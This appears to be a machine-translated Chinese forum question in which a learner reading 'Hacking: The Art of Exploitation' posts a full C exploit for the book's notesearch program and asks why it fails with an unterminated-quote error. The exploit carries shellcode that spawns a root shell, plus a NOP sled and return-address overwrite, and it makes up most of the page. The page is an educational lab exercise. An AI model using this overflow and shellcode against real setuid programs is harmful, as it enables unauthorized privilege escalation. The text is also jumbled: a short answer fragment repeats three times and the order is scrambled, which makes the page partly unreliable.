'
最后一个引号。应该在执行命令之前通过添加以下代码行来解决此问题。strcat(command, "\'");
然而,在本书的首次“剥削”练习中,我遇到了一个问题,希望有人可以帮助我弄清楚我做错了什么。我要在这段代码中尝试做的是利用程序./notesearch(https://github.com/intere/hacking/blob/master/booksrc/notesearch.c)中的缓冲区溢出漏洞。这是我的exploit_notesearch.c代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int COMMAND_SIZE = 200;
char shellcode[] =
"\x32\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, offset=270;
int *int_ptr = &i;
long ret;
char *command, *buffer;
command = (char *) malloc(COMMAND_SIZE); // Allocates memory for command
bzero(command, COMMAND_SIZE); // Zero out the memory
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set ioffset.
offset = atoi(argv[1]);
ret = (long) &i - offset;
int alignment_adjust = sizeof(char*) - strlen(command) % sizeof(char*); // Pads first part of command with NOP instructions
memset(buffer, 0x90, alignment_adjust);
buffer += alignment_adjust;
int remaining_buffer_size = COMMAND_SIZE - ((long) buffer - (long) command); // Floods buffer with return address
for(i = 0; i < remaining_buffer_size - sizeof(long *); i += sizeof(long *))
*((long *) (buffer + i)) = ret;
memset(buffer, 0x90, 64); // Creates NOP sled
memcpy(buffer+64, shellcode, sizeof(shellcode)-1); // Copies shellcode
into buffer
int shellcode_adjust = sizeof(char*) - strlen(shellcode) %
sizeof(char*); // Pads shellcode with NOP instructions
memset(buffer+64+strlen(shellcode), 0x90, shellcode_adjust);
memset(command + COMMAND_SIZE - ((COMMAND_SIZE - 1) % sizeof(long *)) - 1, 0x27, 1); // Terminates sh string with quote character (0x27)
system(command); // Executes command
}
逐步分解:
我希望执行时发生的事情(据我所知)是使用NOP底座的基于堆栈的缓冲区溢出漏洞利用的相当标准。超过内存中缓冲区的限制后,输入字符串的内容将覆盖指令指针的返回地址,该指令先前已在创建堆栈帧时推送。尽管起初可能不起作用,但是使用各种偏移量变量运行程序应有助于我们确定执行的正确对齐方式。由于我们现在控制程序的返回地址,因此我们能够将执行流重定向到堆栈上的NOP指令堆,直到最终遇到shellcode块。我已经根据原始exploit_notesearch.c中概述的原理设计了该程序,但是对其进行了调整,以考虑到不同大小的指针,并且在功能(https://github.com/intere/hacking/blob/master/booksrc/exploit_notesearch.c)方面更加明显。但是,执行此程序时,出现以下错误:
sh:1:语法错误:带引号的字符串未终止
[阅读此书后,我得到的印象是命令变量中的单引号字符串未正确终止,但是在使用GDB检查后,无论COMMAND_SIZE设置为什么,该字符串看起来都以单引号结尾。我也考虑过0x27可能是其中一个内存地址的一部分,用于猜测NOP底座的位置,但是在尝试了许多不同的偏移量后,我仍然遇到相同的错误。此外,我已采取措施在没有堆栈保护的情况下编译notesearch,并禁用了ASLR来简化出于教育目的的过程。
我感觉我犯了一个愚蠢的错误,忘记了某个地方的单引号,但是我认为在查看内存后,很明显我要包含一个单引号。特别是因为我考虑了太多的程序逻辑,所以总是在内存地址终止后立即将其固定。
[如果有人可以看一下我的代码然后回到我的身边,那将是非常可爱的。我将继续研究它,但是到目前为止,答案对我而言并不明显,我认为可能需要更多训练有素的眼睛来挑选它。谢谢!
[最近,我一直在阅读乔恩·埃里克森(Jon Erickson)的《黑客:入侵的艺术》一书,以研究我的软件安全技能。这本书开始有点过时了,而且...
'
最后一个引号。应该在执行命令之前通过添加以下代码行来解决此问题。strcat(command, "\'");
'
最后一个引号。应该在执行命令之前通过添加以下代码行来解决此问题。strcat(command, "\'");